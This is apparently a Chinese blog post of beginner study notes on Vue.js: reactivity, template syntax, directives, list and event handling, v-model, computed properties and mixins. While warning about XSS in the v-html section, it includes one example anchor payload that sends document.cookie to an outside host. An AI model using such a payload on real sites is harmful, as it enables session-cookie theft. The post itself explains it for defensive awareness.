Vue必了解的入门知识！！！

Vue必了解的入门知识（逆战班系列待更）

一、了不起的vue

（官方介绍http://cn.vuejs.org/v2/guide/）
Vue是一套用于构建用户界面的渐进式框架，与其他大框架不同的是，Vue被设计为可以自底向上逐层应用。Vue的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代的工具链以及各种支持类库结合使用时，Vue也完全能够成为复杂的单页面应用提供驱动。

二、Vue下载

• 直接下载并用<script>标签引入，Vue会被注册为一个全局变量.
  <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
• 命令行工具Vue cli.
  Vue 提供了一个官方的CLI，为单页面应用（SPA）快速搭建繁杂的脚手架
  npm install -g @vue/cli

Vue的数据绑定原理

当你把一个普通的javaScript对象传入Vue实例作为data选项，Vue江边里此对象所有的属性，并使用Object.defineProperty把这些属性全部转为getter/setter。Object.defineProperty是ES5中无法shim的特性，
这也就是Vue不支持IE8以及更低版本浏览器的原因。
每个组件实例都对应一个watch实例，它会在组件渲染的过程中把“接触过”的数据属性记录为以来。之后当依赖项的setter触发时，会通知watcher，从而使它关联的组件重新渲染。

三、Vue神奇的响应式渲染

1.模板语法
(1)插值
a.文本 {{}}
b.纯HTML
v-html ，防止XSS,CSRF（
(1)前端过滤
(2)后台转义(< > < >)
(3)给cookie 加上属性 http
）

1<a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click</a>

c.表达式
(2)指令：是带有 v- 前缀的特殊属性
(2)v-bind 动态绑定属性
v-if 动态创建/删除
v-show 动态显示/隐藏v-on:click 绑定事件
v-for 遍 历
v-model 双向绑定表单
(3)缩写
v-bind:src => :src
v-on:click => @click

2.class 与 style
(1)绑定HTML Class
-对象语法
-数组语法
(2)绑定内联样式
-对象语法
-数组语法
//需要将 font-size =>fontSize

3.条件渲染
(1)v-if
(2)v-else v-else-if
template v-if ,包装元素template 不会被创建
(3)(4)v-show

4.列表渲染
(1)v-for (特殊 v-for=“n in 10”)
a.in
b.of 没有区别
(2)key：
*跟踪每个节点的身份，从而重用和重新排序现有元素
*理想的 key 值是每项都有的且唯一的 id。data.id
(3)数组更新检测
a.使用以下方法操作数组，可以检测变动
push() pop() shift() unshift() splice() sort() reverse()
b.filter(), concat() 和 slice() ,map(),新数组替换旧数组
c.不能检测以下变动的数组
vm.items[indexOfItem] = newValue
解决 (1)Vue.set(example1.items, indexOfItem, newValue) (2)splice
(4)应用:显示过滤结果

5.事件处理
(1)监听事件-直接触发代码
(2)方法事件处理器-写函数名 handleClick
(3)内联处理器方法-执行函数表达式 handleClick($event) $event 事件对象
事件修饰符 https://cn.vuejs.org/v2/guide/events.html

• stop
• prevent
• capture
• self
• once
  -passive
  每次事件产生，浏览器都会去查询一下是否有preventDefault阻止该次
  事
  件的默认动作。我们加上passive就是为了告诉浏览器，不用查询了，我们没
  用
  preventDefault阻止默认动作。
  这里一般用在滚动监听，@scroll，@touchmove 。因为滚动监听过程中，移动每个像素都会产生一次事件，每次都使用内核线程查询prevent会使滑动卡顿。我们通过passive将内核线程查询跳过，可以大大提升滑动的流畅度。
  (5)按键修饰符

6.表单控件绑定/双向数据绑定
v-model
(1)基本用法
-购物车
(2)修饰符

• lazy :失去焦点同步一次
• number :格式化数字
• trim : 去除首尾空格
  

7.计算属性
复杂逻辑,模板难以维护
(1)计算缓存 VS methods
-计算属性是基于它们的依赖进行缓存的。
-计算属性只有在它的相关依赖发生改变时才会重新求值

8.Mixins
混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。混入对象可以包含任意组件选项。
当组件使用混入对象时，所有混入对象的选项将被混入该组件本身的选项。
https://cn.vuejs.org/v2/guide/mixins.html#%E5%9F%BA%E7%A1%80

本次知识点整理就到这里了~~

如果本文章对老铁们有所帮助，请用您发财的小手给这篇文章点个赞吧，thanks~~~

博主不定时更新…